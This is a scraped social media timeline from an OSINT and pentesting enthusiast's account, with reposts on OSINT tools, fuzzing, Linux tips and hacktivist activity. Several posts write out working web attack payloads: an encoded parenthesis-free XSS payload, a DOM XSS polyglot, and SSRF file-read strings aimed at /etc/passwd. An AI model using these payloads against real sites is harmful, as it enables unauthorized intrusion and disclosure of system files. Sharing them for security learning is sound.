Soul_Protocol

🔍 #OSINT / #SOCMINT contractor, analyst and enthusiast. Interests include #Pentesting / Red Team / #Recon, and #Python development. #Resources, Tools, and TTPs.

[Soul_Protocol @Soul_Protocol]

For the negative 3 people who have been wondering, this account has NOTHING to do with the Soul Protocol crypto group, I think I just receive about 1/10th of the correspondence in my notifications because of my username. Ugh. Just want to clear up any confusion.

[Anastasis Vasileiadis @Anastasis_King]

🌐 Web Check — What Can You Discover About a Website?

Ever wondered what information a website reveals behind the scenes? 👀

#CyberSecurity #OSINT #InfoSec #WebSecurity #TechLearning

[Het Mehta @hetmehtaa]

Fuzzing is still one of the highest ROI skills in vulnerability research.

You throw malformed inputs at software until something breaks.

But modern fuzzing is no longer “random garbage.”

Now it includes:
- coverage guided fuzzing
- grammar aware fuzzing
- hybrid symbolic execution
- AI assisted mutation

Start here:
https://t.co/bNsXvLWh2a

[KNOXSS @KN0X55]

XSS Without Parentheses
location=tagName
<JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName>

PoC https://t.co/uRcdd0RTWU

Ref https://t.co/fDkMWhEd4w

[clibm079 @clibm079]

How to start RE/malware analysis? https://t.co/5t8wOmck0U via @hasherezade

Had I come across this article earlier as a beginner, I'm confident I could have avoided many unnecessary detours. This is the guide I wish I’d had from day one.

[Cyber Detective💙💛 @cyb_detective]

Finding Public Files That Probably Shouldn’t Be Public

Search Engines
Alternative Search Engines
File Metadata
Infrastructure Search Engines
Open Directories and File Servers
Cloud Storage Buckets
Paste Sites and Code Search
URL Shorteners

https://t.co/toiVaNuPIr

[BRute Logic @BRuteLogic]

SSRF Payloads for LFR/LFD

file:/etc//passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/

SSRF POLYGLOT
file:///etc/./passwd?/../passwd

#CF403
https://t.co/6xLoSUoI7U

[TRÄW🤟 @thatstraw]

Bash Scripting basics: Understanding (), {}, [], $(), $(()), ${}, and [[]]

[BRute Logic @BRuteLogic]

A DOM-Based #XSS Polyglot

1;/*'"><Img/Src/OnError=/**/confirm(1)//>

If your input happens to end up in the DOM via innerHTML or eval(), it works for both cases.

PoCs below.

innerHTML: https://t.co/7jYlxvrp1T

eval(): https://t.co/sUo3BimzBv

[Soul_Protocol @Soul_Protocol]

I haven't seen too much press regarding #Ubikron , but if you're looking for #tools to help you with your #OSINT investigations, check it out. I've been using it religiously since I found out about it a few months ago, and I honestly can't recommend it enough. Take a look!!

[Cyber Detective💙💛 @cyb_detective]

Awesome OSINT Chrome Extensions

A small list of Chrome/Brave extensions for various #OSINT related tasks:

Chrome extensions analysis
Content analysis
#socmint
Website analysis
#Geoint
Web archives
Screenshots

and more.

https://t.co/W973G8ITyc

[Anton @therceman]

Bug Bounty CheatSheet

jQuery UI XSS Payloads (Part 1)

🔹CVE-2022-31160
🔹CVE-2021-41183
🔹CVE-2021-41182

[sysxplore @sysxplore]

Quick Linux tip:

If you have trouble reading the directories in the $PATH variable, use the tr command to translate colon (":") characters to newline characters ("n") so they can be displayed in lines:

$ echo $PATH | tr ":" "\n"

[CyberKnow @Cyberknow20]

🚨🚨 Iran and Israel War Cybertracker #2 🚨🚨

17 June 2025 update for hacktivist activity related to the ongoing #iranisraelwar

- There are already over 100 hacktivist groups who are active from this geopolitical flashpoint.

- There are four pro-India hacktivist groups supporting Israel.

- There are five pro-Russian hacktivist groups supporting Iran.

- Several high-profile hacktivist groups with state links have been reactivated and commenced operations, including Handala Hack, Cyber Av3ngers and Predatory Sparrow.

- DDoS remains the main attack vector, however claimed hack and leak and targeting of operational technology is also present.

Overall I expect there will be more hacktivist groups join this campaign and that each of the three clusters will increase.

#Iran #Israel #IsraelIranConflict

[Dluka @4kulD]

🚨XSS Found🚨

1⃣ katana -u "url" -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -kf -jc -fx -ef woff,css,png,svg,jpg,woff2,jpeg,gif,svg thx man @coffinxp7 🥂

2⃣ nuclei -t /string/dast/ -dast -headless

3⃣ Confirm payloads!

[Soul_Protocol @Soul_Protocol]

#Ubikron is amazing! I've been using it for the last few weeks. It's a great +1 from #Vortimo, which was awesome in its own right. If you're into #OSINT at any level, give them a look-see!! I even use it for non-research related stuff.

[Soul_Protocol @Soul_Protocol]

@Sophia0Kamal Lies!

[Soul_Protocol @Soul_Protocol]

@anpologize Or don't.

[Soul_Protocol @Soul_Protocol]

@Putrafebtiar05 I do? o.o

[Soul_Protocol @Soul_Protocol]

@Oganememe Is it? O.o